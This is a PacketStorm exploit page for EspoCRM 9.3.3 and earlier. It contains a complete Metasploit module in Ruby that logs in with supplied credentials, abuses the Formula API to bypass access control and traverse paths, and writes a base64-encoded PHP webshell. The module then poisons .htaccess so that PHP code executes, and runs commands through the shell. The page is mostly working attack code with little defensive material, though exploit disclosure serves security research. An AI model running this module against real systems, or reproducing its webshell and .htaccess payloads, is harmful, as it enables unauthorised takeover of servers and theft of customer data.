PACKETSTORM

📄 EspoCRM 9.3.3 Remote Code Execution_PACKETSTORM:219085

Description

This Metasploit module targets an authenticated remote code execution vulnerability in EspoCRM versions 9.3.3 and below...
Visit Original Source

Basic Information

ID PACKETSTORM:219085
Published Apr 17, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : EspoCRM ≤ 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.espocrm.com/download/upgrades/ |
==================================================================================================================================

[+] Summary : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.

[+] The exploit chain works as follows:

Authenticates to the EspoCRM API using provided credentials.
Creates a malicious attachment entry via the Attachment API.
Abuses a Formula Engine endpoint to bypass ACL restrictions.
Uses the formula execution to manipulate internal attachment paths (path traversal).
Uploads a PHP webshell payload through chunked attachment upload.
Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
'Description' => %q{
Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
[ 'CVE', '2026-33656' ]
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [
[ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-01'
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'admin'])
]
)
end

def auth_headers
creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
token = Rex::Text.encode_base64(creds)

{
'Espo-Authorization' => token
}
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
'headers' => auth_headers
)

return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end

def create_attachment(name, content_type, size)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
'headers' => auth_headers.merge({
'Content-Type' => 'application/json'
}),
'data' => {
'name' => name,
'type' => content_type,
'role' => 'Attachment',
'relatedType' => 'Document',
'field' => 'file',
'isBeingUploaded' => true,
'size' => size
}.to_json
)

return nil unless res && res.code == 200
res.get_json_document&.dig('id')
end

def run_formula(attachment_id, source_path)
expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
'headers' => auth_headers.merge({
'Content-Type' => 'application/json'
}),
'data' => {
'expression' => expr,
'targetType' => nil,
'targetId' => nil
}.to_json
)

return false unless res && res.code == 200

json = res.get_json_document rescue nil
json && json['isSuccess'] == true
end

def upload_chunk(attachment_id, payload_base64)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
'headers' => auth_headers.merge({
'Content-Type' => 'application/octet-stream'
}),
'data' => "data:application/octet-stream;base64,#{payload_base64}"
)
end

def exploit
print_status("Creating attachment...")
shell_id = create_attachment('shell.txt', 'text/plain', 0)
fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id

print_good("Attachment ID: #{shell_id}")

print_status("Bypassing ACL via formula...")
fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')

print_good("Path traversal set")

print_status("Uploading PHP payload...")
php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
upload_chunk(shell_id, php_payload)

print_good("Webshell written")

print_status("Creating .htaccess entry...")
ht_id = create_attachment('ht.txt', 'text/plain', 0)
fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id

fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')

ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
upload_chunk(ht_id, ht_payload)

print_good(".htaccess poisoned")

webshell = normalize_uri(target_uri.path, 'client/x')

print_status("Executing: #{webshell}")

res = send_request_cgi(
'method' => 'GET',
'uri' => webshell,
'vars_get' => {
'c' => 'whoami'
}
)

if res && res.code == 200
print_good("Execution success")
print_line(res.body.to_s) if res.body
else
fail_with(Failure::UnexpectedReply, "Execution failed")
end
end
end


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.